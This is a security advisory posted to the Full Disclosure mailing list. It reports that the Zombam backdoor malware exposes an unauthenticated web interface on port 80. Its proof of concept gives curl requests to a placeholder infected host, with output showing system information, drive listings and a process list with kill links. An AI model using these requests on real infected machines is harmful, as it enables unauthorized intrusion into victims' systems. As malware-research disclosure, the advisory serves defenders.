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Date: Sun, 13 Jun 2021 23:33:43 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Zombam.gen / Information Disclosure

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/ff6516c881dee555b0cd253408b64404_D.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zombam.gen
Vulnerability: Information Disclosure
Description: Zombam malware listens on TCP port 80 and deploys an unsecured
HTML Web UI for basic remote administration capability. Third-party
attackers who can reach an infected system can make HTTP GET requests to
browse drives, list processes etc.
Type: PE32
MD5: ff6516c881dee555b0cd253408b64404
Vuln ID: MVID-2021-0249
Disclosure: 06/13/2021

Exploit/PoC:
1) Get system information

CURL http://MALWARE-HOST-IP/info

welcome 2 HTTP_RAT infected computer }:]

menu: [running processes] [browse] [computer info] [stop httprat] [have
suggestions?] [homepage]

computer information:

Computer name: DESKTOP-2C4IMHO
Windows Directory: C:\WINDOWS
System Directory: C:\WINDOWS\system32
username: Victim

2) Browse C:, D: drive

CURL http://MALWARE-HOST-IP/C:/

welcome 2 HTTP_RAT infected computer }:]

menu: [running processes] [browse] [computer info] [stop httprat] [have
suggestions?] [homepage]

listing of C:/

$Recycle.Bin
Boot
bootmgr [execute][delete]
BOOTNXT [execute][delete]
BOOTSECT.BAK [execute][delete]
Documents and Settings
dump
pagefile.sys [execute][delete]
PerfLogs
Program Files
Program Files (x86)
ProgramData
Recovery
swapfile.sys [execute][delete]
System Volume Information
Users
Windows

3) Get processes

CURL http://MALWARE-HOST-IP/proc

welcome 2 HTTP_RAT infected computer }:]

menu: [running processes] [browse] [computer info] [stop httprat] [have
suggestions?] [homepage]

running processez:

[System Process]
System [kill]
smss.exe [kill]
csrss.exe [kill]
wininit.exe [kill]
csrss.exe [kill]
winlogon.exe [kill]
services.exe [kill]
lsass.exe [kill]
fontdrvhost.exe [kill]
svchost.exe [kill]
fontdrvhost.exe [kill]
svchost.exe [kill]
dwm.exe [kill]
svchost.exe [kill]
svchost.exe [kill]


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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